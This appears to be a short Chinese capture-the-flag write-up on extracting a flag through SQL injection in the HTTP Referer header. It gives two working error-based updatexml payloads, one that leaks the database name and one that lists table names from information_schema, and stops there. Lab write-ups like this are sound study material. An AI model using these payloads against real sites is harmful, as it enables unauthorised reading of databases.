题目 通过head注入中的referer注入找到数据库中的flag
1.首先看下源码(这里我们可以通过referer注入)
2.我们通过抓包修改他的referer
'or updatexml(1,concat(0x7e,(select database())),1),1)#
3.我们修改完referer之后在去页面看他报的错(这里的head_error就是我们要的数据库名)
4.这样我们就可以去查询表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#